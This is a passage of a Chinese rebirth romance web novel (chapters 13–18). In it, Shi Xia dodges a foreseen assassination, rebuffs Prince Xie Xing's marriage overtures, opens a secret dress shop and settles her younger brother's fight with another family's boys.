不知过了多久,谢行才开口:“蜜蜂已经走了。”
时夏这才松开谢行。
却听谢行笑着开口,语气里有些逗弄:“这蜜蜂不咬人。”
时夏瞪大双眼,环视了一圈周围,欲哭无泪。
不咬人?!那她刚才哭成那样,也太丢人了吧!
气得时夏整整两天不肯理谢行。
-
天色逐渐暗了,女孩子们三两成伴去逛花朝集市。
时夏和颜挽笙也不例外。
花朝集市最吸引人的是各种各样的杂技表演。
也就逢年过节能看到。
叠扇舞也是其中最受欢迎的,两人赶到时,已经里三层外三层地围满了人。
颜挽笙目瞪口呆:“怎么都来这么早?什么都看不见啊!”
时夏早有预料,上一世也是如此。 无论她们来得再早,也依旧围满了人。
“时小姐?”两人正准备离开,身旁传来一声轻唤。
“你是?”时夏感觉有些眼熟,但又想不起来。
“时小姐,许公子说,时小姐若是愿意,可去楼上雅间,那里视野清晰。”那人笑着开口。
“许公子?”时夏有些疑惑。
许临那日不是拒绝了她?怎会主动邀请她?
颜挽笙却很是惊喜:“夏夏,我们走吧!”
时夏思索片刻:“劳烦带路。”
反正她和许临有联系,着急的应该是谢行,送上来的机会,何乐而不为呢?
而且,颜挽笙想看,她也不想打扰她的兴致。
两人跟着小厮上了顶楼,小厮停在雅间门口:“两位小姐,到了。”
他轻敲了两下门。
里面传来一身清朗少年音:“请进。”
小厮这才推开门:“两位小姐请进,我先退下了。”
时夏刚踏进半步,就见里面除了许临,还有一人。
那人只是坐在那里,就气势十足。
谢行。
“四哥?”颜挽笙虽只是县主,但因着在宫里长大,也跟着喊谢行四哥。
谢行垂眸,嗯了一声。
时夏却僵在门口,一向得体的笑容也维持不住了,怪她,光想着让谢行觉得许临和时家有联系了。
许临怎会一人出现在这里呢?自然是和谢行一起的。
怕也是谢行提出让她来着雅间的吧。
“夏夏?”颜挽笙疑惑。
时夏强撑起笑容:“多谢许公子。”
许临却挥挥手:“别谢我,我可没这么大的权力。”
“多谢景王殿下。”时夏侧过身。
“坐吧。”谢行放下手中茶杯。
四方桌子,许临和谢行一人坐了一边。
颜挽笙坐在了谢行对面的位置,时夏只好坐在了谢行旁边。
不过也好,虽离得近了一些,却正好可以不看谢行。 “听闻时小姐前几日和许临在永安寺见了面?”谢行侧过头,看着她。
第13章 鸿门宴
明明是带着笑的脸,时夏却感受到一股莫大的压力。
这无疑是一场鸿门宴。
时夏垂眸,没有看谢行,斟酌着回答:“是,前些日子,和母亲去永安寺,正巧和许公子遇上。”
她不知道谢行这一出,是因为还想和时家结亲,还是许临把她说的话都告诉了谢行,谢行在试探她。
她仔细回忆了一下,她当日也没有太直接的话。
谢行也没什么好质问的。
“我很吓人?”谢行却没有接着问下去。
“啊?没有......”
“那时小姐为何不敢看我?”
“我......”时夏无奈,看向谢行。
却猛地撞进一双黑色眸子,蜡烛的火光在其中跳跃。
眼前是一双放大的俊脸。
谢行不知何时,凑近了身子。
一旁的颜挽笙默默喝茶,她怎么感觉,谢行和时夏的关系这么奇怪呢?
时夏回过神来,喝了一口茶。
“景王说笑了。”
谢行挑眉,拿起茶壶,往时夏的杯子里倒了些:“看来时小姐发明了一种新的品茶方法。”
时夏这才反应过来,自己刚才的茶杯里根本没有茶水了。
她欲哭无泪地闭了闭眼,再睁开,言笑晏晏:“景王也可试试,还不错。”
谢行还未来得及说话,时夏就转过头,看向颜挽笙:“阿笙!表演应该要开始了,我们快去看看吧!”
颜挽笙反应过来:“对对对!”
两人起身,跑到了窗边,坐在软垫上,往楼下看。
这里的视野还真不错,虽是往下面看,但不是在正上方,能清晰看到表演者的动作。
叠扇舞不愧是深受欢迎的表演,每一个动作都让人惊叹不已,传来阵阵“哇”声。
时夏忍不住暗暗腹诽,明明知道这么好的位置,她嫁给谢行三年,谢行居然都没有带她看过。
“不去看看?”许临看向谢行。
“我过去,她们又要不自在了。”
半个时辰后,表演在一阵欢呼声中结束。
“今日多谢景王款待了。”时夏想要离开。
“不吃点东西再走?”谢行敲了敲桌子。 “不劳烦景王了。”时夏浅笑。
“那可惜了,今日的饭菜都是我特意从宫里带的御厨做的。”
时夏爱好吃这一点,众所周知。
而宫里的食物做的好吃又好看,最是时夏喜爱。
时夏深吸一口气,咬牙拒绝:“今日已是多有打扰......”
她话还未说完,门便被敲响,小厮们端着菜,鱼贯而入。
“夏夏,要不吃了再走吧!这些都是你爱吃的!”颜挽笙扫了一眼,劝到。
“我......”食物的芳香传来,争先恐后。
时夏最终还是妥协了,反正都已经在这里带了这么久了,也不差这一顿饭的时间:“那就多谢景王了。”
她扬起笑容,很自觉的坐下。
谢行轻笑一声。
传言不虚啊。
时夏脸有些红,坐都坐下了,能怎样?
她也不再想那么多,开心地吃起来。
时夏吃饭一向慢,细嚼慢咽。
终于,一顿饭吃完。
天色也彻底黑了。
“今日多谢景王和许公子了,若是以后有能帮得上的忙,我们自然不辞。”时夏客套。
“好,时小姐可别忘了。”谢行抿茶,点头。
时夏暗叹,就不该客套!
从那天祖母的寿宴就该记得的!
“那我们便先回了。”突然,空中传来一声炮响。
黑沉的夜幕下,升起绚烂的烟花。
时夏忍不住从窗口看去,真美啊。
烟花的光芒打在时夏身上,变换交织。
-
翌日,便是最受重视的祝神祈福。
时夏今日的打扮便庄重了许多,但也不会太过于严肃。
把少女的娇俏和对祈福的正式完美的融合在一起。
她出来时,便看见高希正在一脸得意的冲贵女们说着什么。 “这可是时姐姐给我的,好看吧!”高希身上披着昨日时夏给她的披风。
还把披风下摆拿起来展示:“你们看这布料,看这刺绣,看这样式,绝无仅有!”
周围的贵女也是惊叹地看这披风。
高希这样,倒也是给她宣传了
时夏忍不住笑了一下:“穿着不热吗?”
这披风虽然是薄薄一件,但现在天气已逐渐转暖了。
“不热!”高希披着这披风,得意极了,她昨日回去之后就穿着在府里炫耀了一圈。
时夏无奈,随她去了。
“时姐姐,这是在云杉纺买的吗?好好看呀!”另一位贵女开口,谁能不想要好看的裙子呢?
“这是我在另一家铺子定制的,那铺子的布料和款式都很好,我便定制了一件。”时夏笑。
“啊?京城居然还有这般手艺的铺子!”众人皆惊。
“我也是无意间发现的,铺子叫指尖织,不过似乎还没有正式开业。”时夏偷摸给自己打广告。
-
祝神祈福是在永安寺,姑娘们不能像从前一样直接坐马车上山,而得一步一步爬上。
时夏领头,走在最前方。
这衣服比起平时的日常衣服,要长一些,也更重。
行至一半,她已经有些累了。
她深吸两口气,还是迈步,继续向上。
旁边是谢行,依旧由他带队负责姑娘们的安全。
他看了一眼时夏额角冒的汗,有些惊讶。
他记得,时夏之前去永安寺可带了十辆马车的东西。
这般娇气的人,居然能坚持下来。
倒是超乎他意料。
祈福环节一切顺利,按照往年的步骤一步一步进行着,有条不紊。
疲惫了一天,终于踏上了返程的路途。
时夏靠着兰香,捶着自己的大腿。
今天这台阶,可给她累死了。
忽然,传来一阵骚乱!
“护好人!”谢行的声音传来。
随后便是刀剑出鞘的声音。 “怎么回事?”突然的混乱让各家小姐惊慌失措。
兰香也紧张极了:“小姐,我们怎么办?”
时夏心里也有些害怕,但她知道,这时候千万不能出去,好好呆着,不给护卫军添乱,便不会出事。
“没事的,景王不是带着这么多人呢?”时夏揉了揉被头冠压得有些酸痛的脖子。
虽然她不喜谢行。
但对于谢行的实力,她还是很信任的。
能带兵击退匈奴的人,拿下这些人,并不难。
“都呆在马车里!不要出来!”谢行的声音传来。
随后便是刀刃相接的声音,打起来了。
很快,一群人便被谢行等人拿下。
“留活的,带回去!”谢行的声音里带上几分怒气。
“是!”
“继续吧。”谢行回到马上,长长的队列又逐渐前行起来。
突然,呼啸声传来,一根箭直冲向首辆马车。
那是,时夏的马车。
第14章 刺杀事
在一阵喧闹中,箭直直射进马车。
那人似乎急着确定有没有成功射中时夏,不再隐藏,直冲向马车。
掀开马车帘子,里面却空无一人。
他一愣,随即意识到了什么,果然,一扭头,一群人执剑包围着他。
他的脊背处,一股冰冷剑意袭来。
是谢行。
“怎么会......”他喃喃道。
明明策划的很隐蔽了,到底怎么会被发现?
时夏从第二辆马车上下来,微微一笑:“很震惊?”
那人脸黑如煞:“今日我失败了,还有别人会来!你活不了多久了!”说着说着他竟然笑起来,像是疯了一般:“哈哈哈哈哈哈哈!!!”
“拿下。”谢行冷眼,不愿再听下去。
可那人早已做好赴死的准备,拿起剩下的箭就朝自己心口扎去。
可谢行反应更快,轻轻挥剑,那人的手便无力的垂下,箭也随之落地。
“带下去。”
时夏受不了这血腥味,皱了皱眉,还是走到谢行面前:“今日,多谢景王了。”
“你是如何知道的。”谢行语气严肃。
能精准的预测到刺客出现的时机、人数、方式,半点没有差错。
这可不是一般人可以做到的。
时夏有些哑言:“我......我收到了一封信。”她低下头,低垂下来的睫毛挡住了一双眸子。
谢行看着她,目光里有审视,有探究。
半晌,头顶传来一声轻笑:“行,你要这样说也行。”
随后,男人就大步离开。
不知是不是时夏的错觉,男人似乎有些生气了?
“小姐?”
“无事,我们也快上马车吧。”时夏摇摇头。
前世,便是在这里遇刺。
只是她运气好,正巧躲过了那一箭。
只差一点,那箭便会从她的脖子穿过。
所以,今早,她试探性的问谢行,能不能加一辆马车。
谢行并没有多问,同意了。 于是,从早上出发时,她都是坐在另一辆马车里的。
幸好京中贵女多,那些人并没有发现多了一辆马车。
只是......经过今日,谢行怕是会更怀疑她了。
-
夜晚,花朝宴在皇宫举办。
时夏跟着时父进宫。
她们的位置比较靠前,除了几个皇子公主,便是时家了。
宴会上觥筹交错,歌舞升平。
明明是时夏最爱吃的菜,她却有些食不知味,总感觉有一道目光投在她身上。
牢牢的,带有侵略性的,熟悉的眼神。
“听闻今日四弟和各位小姐在祈福回来的路上遇刺了?”三皇子开口。
刚才还热闹的宴会顿时有些静谧。
“怎么回事。”皇帝看向谢行。
谢行起身,作揖:“今日返程途中,突遇山匪袭击,所幸有惊无险,并未人员伤亡。”
“那便好。”皇帝扫视了一圈宴客,各个低垂着头,不敢说话:“怎的不早些报上来?”
“抓回来的山匪还在审问中,儿臣本想等一切都查清楚之后,再向父皇上报,未曾想,三哥先听说了此事。”谢谢目光投向三皇子。
“好,给朕好好的查,朕倒要看看,谁这般大胆!”皇帝脸色不太好。
三皇子都知道的事情,他却没有听说。
这不是打他这个皇帝的脸?
“是。”谢行抱拳。
“行了,既无大事,便坐下吧。”皇帝揉了揉太阳穴。
歌舞继续,让人看得眼花缭乱。
“说起来,三皇子也已及冠,可却迟迟未定亲。”李太史装似无意,开玩笑般道:“三皇子是在等谁?”
“是啊是啊。”周围人附和道。
三皇子笑:“太史可莫要拿我开玩笑。”目光却有意无意的扫向时夏。
时夏自然感受得到,这样的目光让她有些不舒服,头埋的更低了。
她重活一世可不是为了从一个火坑跳进另一个火坑的。
若说谢行是冷心冷情的话,那三皇子便是多情。
他对谁都是一样的好,换言之,谁对他来说都是一样的。
女人在他眼里不是人,而是争夺权力的利器。 “哦?老三这孩子,贪玩,现在还没有收心,朕也不逼他早日娶妻了,免得害了人家姑娘。”皇帝笑着开口,语气里满是对孩子的爱,似乎没有听懂暗示。
“还是父皇懂我。”三皇子的眼底闪过一瞬的阴骘,很快便消失不见,他举杯:“父皇,我敬你。”
“哈哈哈哈!好!”皇帝被哄得高兴,又想起谢行:“老四啊,你可有心仪的姑娘,朕今日心情好,便为你做主。”
时夏心里一紧,若是谢行此时直接开口要娶她,皇帝赐婚,一切就又像前世一样了。
她咬唇,若是实在不行,她便说她已有心许之人。
名声什么的,在姓名面前,不值一提。
她感受到一道有些冷冽的目光从她身上扫过,而后便是低沉男声:“谢父皇,只不过儿臣公务缠身。往后,儿臣有心仪的姑娘,定找父皇赐婚。”
时夏松了一口气,但同时又有些紧张。
大殿内一片寂静。
皇帝不想赐婚的人,暗示皇帝赐婚,皇帝想赐婚的人却装傻。
半晌,皇帝才开口:“行,我这个老家伙就不掺和你们年轻人的事了。”
-
花朝节结束,时夏依旧忙得不可开交。
贵女们纷纷派人来问她衣服在哪家铺子制的,铺子何时开门。
她只能连夜赶制设计图,到处联系有经验、手艺好的绣娘。
终于,在春日宴过去一个月后,衣服能布满整个指尖织,而不让店里看起来空荡荡的了。
正式开业那日,时夏没有出现在铺子,而是在不远处的树下,让皎皎代她行一切。
这店铺赚的钱得留着以后备用,她不能暴露在众人面前。
有了花朝节那两日的宣传,开业时,铺子门口挤满了人。
毕竟,谁不想要那样好看的衣裙呢?
若说高希之前是因为时夏的身份而跟着她,那么在蜜蜂事件之后,她便直接化身成了时夏的小迷妹。
这不,只见她捧着一个小匣子,打气的仍在桌子上,“我要定五套!”
“抱歉,高小姐,我们店里有规定,一个人一月最多定制两套......”皎皎为难。
“你倒是会做生意。”时夏看得正高兴,一道男声突然在耳边响起。
不是谢行,还能是谁呢?
第15章 拒合作
景王殿下?”时夏被吓了一跳。
谢行怎么会在这里?而且......还知道这铺子是她的。
时夏心里百转千回。
若是日后没能成功改变结局,皇帝依旧要抄家,谢行告诉皇帝这铺子是时家的该如何?
她心里乱极了,可还是极力稳住心神:“什么做生意?景王在说什么?”
一双杏眼里满是无辜与懵懂。
若不是谢行知道她和云杉纺的往来,怕是就要被骗了。
“时小姐,我想你是个聪明人,有些话,不必我说。”他的目光投向铺子。
铺子已经排上了小队,高希还在和皎皎争辩,试图多买两套。
“抱歉,高小姐,这是我们铺子里的规定。”皎皎耐心解释:“我们铺子一月只制30套衣裙,为保证其他顾客也能买到,一人一月最多只能制两套。”
众人一听,皆着急起来。
若是真让高希一个人定了五套,那她们后面的人岂不是就很可能买不上了?
“高小姐,别为难店家了。”
“就是,高小姐,两套不错了。”
“高小姐总不能仗着自家势力,便强买强卖吧。”
众人或劝或抱怨。
高希虽年纪小,任性,但也知道,这种事情不能扯上家族。
只好付了两套衣裙的定金,便跟着绣娘去量尺寸了。
铺子虽是第一天开业,人满如患,却也有条不紊。
“景王殿下怎的来这偏僻之地?”时夏装作没有听懂。
“时小姐呢?”
“......自然是买衣服。”
“哦?我还以为时小姐是来视察铺子呢。”
“景王到底是何意?”时夏冷下脸,也不再和谢行装。
“请。”
-
时夏从马车上下来,看到“云杉纺”三个大字,有些不敢置信。
“景王是想让我来向云杉纺学习?”她不愿接受。
可事与愿违,掌柜快步向谢行走来,然后向谢行行礼:“东家。”
时夏闭了闭眼,有些咬牙切齿。 千算万算,没有算到这云杉纺竟然是谢行的。
他一个男人家,开什么衣纺铺子啊!
“走吧。”男人看到时夏变幻的表情,语气里带上了几分笑意。
两人径直上了三楼,又是上次那个雅间。
进了雅间后,男人当着时夏的面,缓缓推开那个装似墙壁的暗门,露出里面藏着的雅间。
谢行坐在里面包间的桌旁:“进来吧。”
时夏却不动:“景王,我好像出现幻觉了。”
她不愿踏入那道门,好像那样,她就不用成为谢行的同盟。
谢行手搭在桌子上,食指微屈,有一搭没一搭的敲击着桌子,发出一声接一声的闷响:“你是认为,不过来,就能走?”
时夏沉默了,确实。
她现在在谢行的地盘上,周围全是谢行的人。
她若是现在不过去,后面还能不能全须全尾的走都还不一定。
这样想着,她深吸一口气,踏过那道暗门。
“明智的选择。”谢行夸赞。
时夏却咬牙切齿,这是给她选择吗!谁知道她不过来,是不是一会儿意外遇刺的消息就传出去了!
“景王想要如何?”任谁被威胁,心情都不会好。
“我很好奇,时小姐为何这般抗拒我。”谢行三指拿着茶杯,手指修长,骨节分明。
“景王多想了。”
“哦?我可记得,时小姐从前不是这么说的。”
“年少不懂事罢了。”
“行,年少不懂事。”谢行放下茶杯:“可惜,我不接受。”
“景王这般优秀,适配的女子很多。”时夏毫不犹豫。
谢行勾唇反问:“时小姐认为,京城,谁比时家更合适?”
时夏沉默。
前世,谢行恐怕便是因为没有更合适的人选,再加上时家一直示好,才勉强选她的吧。
她深呼吸,抬起头,直视谢行,眼底满是坚定:“抱歉,可能要让景王失望了。”
谢行的脸也冷下来,声音像是萃了冰:“我不也是时家最好的人选?还是,你觉得三哥更合适?”
“那就不劳烦景王费心了。”说罢,时夏直接起身,毫不犹豫的离开。
一场谈判,两人不欢而散。
- 后面几日,时夏都在忙着赶设计图。
她揉了揉酸胀的眼睛,瘫倒在床上。
果然,应该再减少点每个月的接单数量的。
还好每件衣服都给了两个月到三个月的工期,不然她真的做不完。
“小姐,九公主宫里闹呢,说你好久没有去陪她了!”兰香帮时夏收好稿纸:“小姐何必这般劳累?府里又不缺钱。”
时夏淡淡笑了笑:“帮我收拾收拾吧,下午便进宫去。”
她近些日子忙,进宫陪九公主的机会频率确实低了许多。
-
“九公主?”时夏到时,九公主正撅着嘴,闷闷不乐。
时夏蹲在她面前,九公主扭过头去。
时夏也跟着蹲过去,九公主又扭过头。
反正就是不看时夏。
“九公主,我错啦!”时夏揉了揉九公主的小脸蛋,软软的:“我不该这么久不来陪九公主的,我保证,以后再也不会这样了,好不好?”
九公主这才软下眼神,拉了拉时夏的手。
她虽未说话,但时夏好歹也陪九公主玩耍了那么久了:“想去外面玩?”
时夏拉着九公主出门去,微风吹过,她看了看天:“九公主想不想放风筝?今日天气正合适。”
“风,筝?”九公主眨巴着大眼睛。
时夏又被九公主可爱到,忍不住又用双手揉了揉九公主带着婴儿肥的小脸蛋:“对,带九公主放风筝好不好?”
九公主点点头:“要,大。”
“好,给九公主放最大的风筝,好不好?”
两人欢快的向御花园走去。
九公主的侍女找来一个蝴蝶风筝,时夏拿在九公主面前,逗弄着她:“这个好不好看?”
九公主的眼神已经完全被蝴蝶风筝所把控:“要!要!”
时夏轻笑:“好!”
说着,她慢慢把线放长,兰香则帮她举起风筝。
待距离差不多了,她便小跑起来,因着有风,并没有费太大的力气,风筝便翩然起飞,当真像极了蝴蝶。
“九公主,要不要直接放?”风筝已经稳定的飞着,不需要一直跑,时夏便准备把风筝拿给九公主体验。
九公主刚刚接过风筝,便听到旁边传来一道爽朗男声:“时小姐?好巧,小妹多亏你了。”
第16章 打架
时夏原本舒畅的心情顿时垮下来。
啧,三皇子。
时夏掩下不耐,露出礼貌性的笑容:“三皇子。”福身。
“时小姐不必多礼。”三皇子上前,伸手要扶起时夏。
时夏收手,牵着九公主,完美避开了三皇子:“多谢三皇子。”
三皇子眼底笑意淡了几分:“时小姐今日幸苦了,正巧,我今日无事。”他看向九公主:“小语,想不想兄长陪你玩?”
说着,他就十分自然地从九公主手上拿过风筝。
九公主似乎没反应过来,愣愣的。
时夏虽不愿和三皇子一起,却也不好拒绝,他毕竟是九公主亲兄长。
“我,我。”九公主笨拙开口,却怎么也说不出。
“好,哥哥这就帮小语放高高的风筝。”三皇子像是听懂了九公主的话,揉了揉九公主的发顶。
风筝再三皇子手中很是听话,越飞越高。
可九公主似乎并不高兴,站在那里,眼睛瞪得圆圆的。
时夏陪九公主玩耍也有些时日了,自然感受到九公主的情绪。
抵触。
她轻轻捏了捏九公主白嫩的小脸蛋:“三皇子,九公主好像有些累了。”
说着,她便抱起九公主。
三皇子随手将风筝扔给太监:“我帮你吧,你一个弱女子,抱着小语怕是有些困难。”
“...多谢三皇子。”
于是,三皇子抱着九公主,时夏跟在后面,两人有一搭没一搭地说着话。
逐渐走远。
亭子里。
“殿下,再不出手,这人可就要被抢走了。”许临啧啧称叹。
谢行却是头也不抬,只是声音冰冷寒凉:“本王要求着娶一个女子?”
他向时家示好本就因为利益。
时夏却还坚定拒绝他,多次说他的不好,难不成他还要上前去?
谢行冷睨。
她既然愿去受苦,那便随她。
-
时夏和谢行上次不欢而散,加上时夏天天忙于铺子里,还得抽时间去陪九公主,基本没有再和谢行有联系。 唯一不好的便是,进宫陪九公主总是容易和三皇子碰上。
天气逐渐热了起来,时夏除了必要,基本都在屋子里待着。
“小姐!小姐!”兰香从外面跑回来,语气里满是欣喜:“小姐!二小姐回来了!”
原本还瘫在书案上的时夏顿时来了精神:“二姐姐?”
时府并没有分家,时父排老二,头上还有一个兄长。
时父从文,大伯父从武,常年在外带兵打仗,妻女舍不得他,便也跟着一起。
所以时父虽是老二,但时府一直是由他管着。
时夏拿起扇子,举在额头上挡着有些灼人的阳光便跑了出去。
果然,时安一行人已经到了府门口。
时夏冲向时安,半点顾不得礼仪:“二姐姐!”
她和时安关系一向好,只可惜时安常年跟着大伯父在外,两人这些年的交流越发少。
但关系依旧如故。
时安也毫不客气,两姐妹抱在一起。
“好了,知道你们两姐妹关系好,进屋里去吧。”时父调侃。
时夏这才松开时安,但还是坚持挽着时安的手。
“你这孩子。”时父无奈:“你二姐姐才刚回来,路途遥远,你也不让她休息休息。”
时安笑了笑:“叔父,您就别逗夏夏了。”
时夏赞同点头。
“行行行,由着你们。”
“二姐姐,这次你能呆多久啊?”大房一家常常待不了多久便又得回到边塞,守边关。
“大概......一个月左右吧。”时安计算了一下。
两人到时夏屋中,时安给时夏讲着各种她在路途中看到的趣事,两人聊得正高兴,兰香突然进屋,满脸焦急:“小姐!二小姐!四公子和人打起来了!”
“打起来?怎么回事!”时夏站起身。
小弟虽顽劣,但打架斗殴这种事从未发生过。
“奴婢也不清楚。”消息是时煜身边的人带回来的,她一听到,便赶紧跑来找时夏了。
毕竟,时煜性子顽劣,谁的话也不听,除了时夏这个姐姐。
“先带我去看看吧。”时夏皱眉。
“走吧,我陪你。”时安开口,她也蛮久没有见到时煜了,若是时夏需要,她打起人来还是挺疼的。
两人很快便到了食鼎楼。
时夏冷着脸,推开雅间门。 里面几人个个都鼻青脸肿的,好几个都是京城里出了名的纨绔子弟,最爱滋事。
时煜怎么会和这些人混在一起。
碍于外人在场,她压下心中怒气。
另外几人显然也喊来了人,是李家的:“李公子,不知发生了何事?几位要打小煜呢?”
她一句话,直接把双方打架变成了时煜被几人欺负。
李公子那边几个小辈是纨绔子弟,他也好不到哪里去,最是爱仗势欺人:“时小姐这话是何意?我可听说是家弟本只是在喝酒聊天,是时四公子突然冲上来动手的。”
时夏轻笑:“哦?李公子这话听谁说的?一面之词我想并没有意义。”她又补充:“况且,小煜他从前可从不打架,我倒是好奇,几位是说了什么,做了什么,才能惹得小弟动手?”
言外之意不就是李家几个先惹事,时煜只是忍不下去了。
李公子脸色一黑:“你!”
“诶!怎么,李公子也和几个孩子一样,想要打人?”时安站在时夏身前。
“不敢。”李公子咬牙切齿。
时夏笑:“虽说他们年纪小,但李公子还是得好好管教管教。”她看向被打得最惨那个小胖:“说说吧,怎么回事。”
“就是他先打的我们!”小胖满脸凶气。
“时煜,说说,你为什么要打他们?”时夏拉起一旁满脸气愤的时煜。
“......他们乱说话。”时煜沉默半晌,才咬牙开口,边说,眼眶甚至还红了些。
时夏本来没怎么当回事,可时煜从不爱哭的:“她们说你什么了?”她语气里多了几分生气。
时煜却不肯开口。
时夏只当是说的话太难听,他不想在回忆。
她面色冷了下来,也不再维持刚才的笑容:“李公子。”
“那又如何,不过是说了几句,时小公子就要打人?”李公子并不觉得有问题。
“时小姐?”时夏刚要开口,一道温润声音传来。
是许临。
“李公子也在?真巧啊。”他似乎只是路过:“王爷还在隔壁等我,我先告辞了。”
第17章 心动
许临的意思,时夏和李公子自然都明白。
时夏歪头一笑,模样好看极了:“李公子?”
李公子脸色不太好,但还是咬牙,推了推小胖:“道歉。”
“我不要!”小胖不过十岁出头,自然听不懂许临的意思,顽劣任性。
“道歉!”
“我不要!”小胖非常不满,大吼起来:“我说的不是实话吗!她从前就是天天跟在景王身后,现在林家走了,她不就等着上位!明明你们都是这么说的!”
此话一出,整个包厢又一瞬安静。
一直在一旁忍耐的时煜受不了了,攥紧拳头,又冲向前去:“你胡说!”
时夏拉住他,冷冷开口:“李公子。”
李公子也没有想到小胖说的是这话,还当众时夏的面说出来。
他吼道:“李游!”说着,还一巴掌向小胖扇过去。
“李公子,我更好奇,这所谓的都,是哪些人啊?”时夏自然没有阻止。
“时小姐,误会,都是误会。”李公子讪笑:“都是别人乱说的,许是让家弟听了过去。”
“哦?看来李公子太忙了,没有时间好好教育幼弟呢。”时夏装似无意开口。
李公子却浑身一僵,随即又扇了李游一巴掌:“我让你乱说话!回去之后,三个月都别想出门!”
他这次语气动作里都满是怒意,不像刚刚的做做样子,毕竟,这是真正的影响到了他。
李游瞬间在旁边哭号起来。
“哭哭哭!哭什么哭!还不快给时小姐道歉!”
李游现在终于知道自己惹到不该惹的人了,一边哭,一边开口:“对,不起......呜呜呜”
本就胖,被时煜打了,现在又被兄长打了两巴掌,更是不堪入目。
另外几人一看这阵势,也赶紧战战兢兢的道起歉来。
“时小姐,今日实在抱歉,改日我定登门道歉,您看可好?”李公子的态度谦卑起来了。
时夏挥了挥手:“李公子,可不是所有人都会像我一般好心。”
“是,是......”李公子带着几人离开。
空间归于安静。
时夏好笑的揉了揉时煜的发顶:“不用在意他们那些话,谣言会不攻自破的。”
“可是他们说你,我忍不住。”时煜低垂着头。
“夏夏,什么意思啊?”时安刚回来,还不清楚情况。
“前不久,林家......出事了。”
时安欣喜:“林家出事了?早就觉得林家不是什么好人!”她又想到什么,小心开口:“那,你和景王?” 小胖刚才也没说错。
从前的时夏,确实总爱跟着谢行跑。
就像前世,林家一出事,时夏迫不及待的便请求时父去找谢行。
“都是从前了,当时不懂事。”时夏笑笑:“现在发现,曾经我不过是觉得他很厉害,想想,我好像并不喜欢他这样的人。”
时安点点头:“也是,你从前毕竟年纪小。谁没喜欢过几个错的人呢?”
时煜也在一旁赞同:“就是就是。”
“时煜。”时夏突然板着脸,看向他:“这个点,你不应该在书院吗?”
-
隔壁,许临坐在桌旁:“景王。”
“多管闲事。”他是在说许临到的时候,借着他的名义帮时夏。
“臣这不是想着时小姐以后可能和您成为一家人嘛。”他给自己倒了杯茶水:“而且,您也没有阻止我,不是吗?”
“不会的。”谢行冷声:“本王并不是只有她可选。”
“我不喜欢他这样的人。”酒楼并不隔音,时夏的声音轻松传来。
“看来景王的魅力有减啊。”许临调侃。
谢行冷睨,他瞬间噤声。
-
“夏夏,今日下午那人......是谁啊?”夜晚,时安和时夏睡在一张床上。
“你说李公子吗?”时夏解释:“他是......”
“不是,是另外一个,就是后来帮我们那人。”时安打断。
“你说许临?”时夏有些意外:“今年的状元郎。”
“那......他可有......”一向大大咧咧的时安在此时却羞涩了起来。
但时夏毕竟是嫁过一次人的了,瞬间明白了时安的意思。
但依旧有些意外,毕竟时安从小到大,对情爱没有半点天赋,别人暗戳戳给她示好,她却只想和别人比武。
渐渐的,公子们也就不敢来找时安了。
毕竟,每一个男子都是春心萌动的去,鼻青脸肿的回。
“二姐姐对他有意思?”现下只有她们两人在,时夏也就毫不忌讳,直接开口。
“嗯......我只是觉得他今日还蛮帅的,声音也好听。”时安也不确定。
时夏忍不住想到前世,当初她也是觉得谢行模样好,能力强,反正什么都好。
哪怕他冷着脸,也让人心动。
但真正成婚了之后,她会想要更多的。 她接受不了谢行一次次的冷脸,一次次的沉默,一次次的离家。
“二姐姐,他是个怎样的人,需要你去了解。”时夏很认真:“他的功名权力,这些都不是最重要的,要看他心里有没有你,对你好不好。”
时夏不希望时安像自己前世一样。
而且,前世许临一直没有娶妻,也不知道是何原因。
时安笑:“夏夏今日怎么这么认真?”认真得都不像她了。
“我只是想二姐姐好好的。”
“夏夏不用担心,这些我都懂的。”她似乎并不在意:“而且,她若是不喜欢我也没事,反正过不了多久我就走了,父亲带的兵里,优秀的人可多了。”
说到这个,她来了兴致:“父亲近日发现军中有一个很厉害的人,这次的胜仗有他一半的功劳,父亲还特意把他也带了回来!”
时夏回忆着上一世,好像有点印象,那人确实能力出众,没多久便被皇帝赐了个将军的位置。
对!那人是前世时家出事,唯一一个帮时家求情的人,可惜人微言轻。
如若能和他打好关系,趁着时家现下还繁荣,把他扶持上去,说不定有大作用。
“二姐姐,能让我和他见一面吗?”时夏开口。
“可以啊。”时安有些奇怪:“不过你怎么突然想见他啊?你不是一向对这些没有兴趣?”
“就是好奇嘛,想认识认识这样有为的人。”时夏笑了笑。
“难道......你现在喜欢这款了?”时安觉得自己猜的很有道理。
时夏沉默。
好像也没有什么其他的理由:“......嗯,对。”她讪笑。
时安来了劲头:“我给你说,他人确实不错......”
时安滔滔不绝的讲述着,不知过了多久,两人才迷迷糊糊睡着。
第18章 我要当将军
“夏夏,你和许临熟吗?”时安一大早便起床,挑选起了衣裙。
时夏本还迷迷糊糊,听到这话清醒了些许。
二姐姐还是对许临有好感。
也是,哪有那么容易便不喜欢一个人了呢?
只是她之前想利用许临,不知许临会不会因此对二姐姐有意见。
不过,无论如何,这是时安第一次表达出,她对谁有好感。
时夏自然不会打击她,只是毕竟她和许临相看过,还说过那样的话,总是免不了尴尬。
“到算不上多熟,只是有些许了解吧。”时夏拿出一套衣裙,是她特意为时安设计的。
本想着做时安的生辰礼,不过似乎现在拿出来更加合适?
“二姐姐,试试看?”她把衣裙递进时安手中。
时安有些惊讶:“这布料......”又有些心疼:“很贵吧,夏夏费心了。”
不是心疼钱,而是心疼时夏竟然舍得将这样好的衣裙送给自己。
“没有的,二姐姐再不去试我可要生气了。”时夏娇蛮地叉着腰,一副要生气了的样子。
时安失笑:“好,我现在就试,夏夏可不要生气。”
说着,她便拿着衣裙到屏风后。
很快,衣裙换好。
时安常年跟着父亲在外行军,虽说过得不算多差,但条件毕竟比不上京城,日常穿着什么的都比较随意。
而这裙子却恰恰相反。
款式特别,花纹张扬,大面积的橘色更显得突出。
时安莫名有点不习惯,掐着衣裙,试探性地走出来。
“怎么样?”她不太自信,从未尝试过这种风格的衣裙。
“很好看!特别适合二姐姐!”时夏感叹,又看向兰香:“是不是?”
兰香也狠狠点头:“真的!二小姐应该多试试这种风格!”
时安因拘束不习惯而紧缩的肩膀逐渐施展开来,她走到铜镜旁,微愣。
原来,她穿这种裙子是这样的吗?
“过几日陛下为大伯父接风洗尘,许公子一定也会去,二姐姐便可穿这衣裙。”时夏笑意盈盈:“到时候再让兰香给你做发型,兰香可擅长了!”
兰香在一旁狠狠点头。
